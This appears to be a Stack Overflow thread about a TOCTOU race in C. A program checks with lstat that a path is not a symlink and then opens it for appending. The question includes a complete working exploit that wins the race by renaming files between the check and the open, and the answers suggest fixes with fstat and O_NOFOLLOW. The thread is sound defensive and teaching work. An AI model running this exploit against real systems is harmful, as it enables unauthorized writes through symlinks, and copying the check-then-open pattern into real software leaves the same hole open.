2

I have the following code vuln.c. This appends the desired input to a non link file.

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>

int process_filename(char *filename)
{
    struct stat aux_stat;
    char buffer[1024];

    printf("Input to be appended: ");
    fgets(buffer, sizeof(buffer), stdin);

    if ((lstat(filename, &aux_stat) == 0) && !S_ISLNK(aux_stat.st_mode))
    {
        printf("[+] Opening file %s...\n", filename);
        int fd = open(filename, O_RDWR | O_APPEND), nb;
        nb = write(fd, buffer, strlen(buffer));
        printf("[+] Done! %d bytes written to %s\n", nb, filename);
        return 0;
    } else
        printf("[-] ERROR: %s is a symlink or does not exist. Exiting...\n", filename);

    return 1;
}

int main(int argc, char * argv[])
{
    if (argc != 2) {
        fprintf(stderr, "usage: %s filename\n", argv[0]);
        exit(1);
    }

    return process_filename(argv[1]);
}

However, there is a TOCTOU vulnerability (Time-of-check Time-of-use). There is a check step where it's checked that the file is not a symbolic link. Later, there is a time window with the printf call, and finally the resource is used: the file is opened. In the time window, an attacker can modify the resource, and append the input to a link file, which potentially is not allowed. With the following code, we can exploit this vulnerability, and be able to write in a link.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/wait.h>

int main(int argc, char* argv[])
{
    if (argc != 2) {
        printf("Number of parameters missmatch\n");
        return -1;
    }

    char *tmp_name = "_tmp"; // Name of the temp file
    char *nombre_link = argv[1]; // Link where it's wanted to write
    char *newenviron[] = { NULL };
    char *newargv[] = {"vuln", tmp_name, NULL}; // Args
    int pipe_fds[2]; // Pipe's array
    int filesize; 
    struct stat st;

    // Link's initial size to check changes
    stat(nombre_link, &st);
    filesize = st.st_size;

    // Loop until it's written in the link
    while (st.st_size == filesize) {
        pipe(pipe_fds); 
        // Creates a normal "fake" file to pass the vulnerable code check
        fclose(fopen(tmp_name, "w"));

        int pid = fork();
        if (pid == -1) {
            printf("Error");
        } else if (pid == 0) {
            // Child
            close(pipe_fds[1]); 
            dup2(pipe_fds[0], 0); // Pipe will be the stdin of the execve
            execve("vuln", newargv, newenviron); // Executes vulnerable binary
            exit(3); // Only if execve fails
        } else {
            // Parent
            close(pipe_fds[0]);
            write(pipe_fds[1], "WIN\n", 4); // Writes in the pipe the content to be written in the link
            printf("Deleting... \n"); // Exit temporally the parent from CPU and let child enter
            remove(tmp_name); // Removes the fake file
            rename(nombre_link, tmp_name); // Renames link to the same name
            wait(0); // Waits for execution of the vulnerable binary
            close(pipe_fds[1]); 
            rename(tmp_name, nombre_link); // Returns name's link to its origin name
            stat(nombre_link, &st); // Get link's stats to check if it has been written
        }
    }
    printf("Managed!\n");
    return 0;
}

How could I safely programme the initial vuln.c code to avoid this TOCTOU vulnerability? I've tried to open first and once the resource, and then check that it isn't a link with fstat (which waits for a fd) instead of lstat (which waits for the vulnerable resource, the name of the file). However, when opening it, the file linked by the link is opened, and not the link. Thus, the check step is passed. I have also tried to use the O_NOFOLLOW flag, but it doesn't work either.

Santiago Gil
  • 1,292
  • 7
  • 21
  • 52
  • 1
    Use `fstat()` to find out whether the opened filedescriptor refers to a link. That filedescriptor can't be changed from a file to a link by another program. – EOF Dec 09 '16 at 21:28
  • Note that you could be opening something other than a plain file; not being a symlink covers FIFOs, directories, character devices, block devices, and sockets — and possibly others too. You should check that the `open()` succeeds. – Jonathan Leffler Dec 09 '16 at 21:31

1 Answers1

3

In POSIX 2008, open() has an option you could use:

  • O_NOFOLLOW — If path names a symbolic link, fail and set errno to [ELOOP].

This would give you the protection you need in the open() call; no need for the prior check.

Jonathan Leffler
  • 730,956
  • 141
  • 904
  • 1,278
  • Worked! I was using this flag in a bad way. – Santiago Gil Dec 09 '16 at 22:07
  • 3
    O_NOFOLLOW only blocks symlinks at the leaf. That is, if the path is "X/Y", it causes the open to fail if Y is a symlink. It does *not* cause the open to fail if X is a symlink. (No, I don't know the right answer. I came here looking for one...) – Jordan Brown Jul 27 '18 at 23:52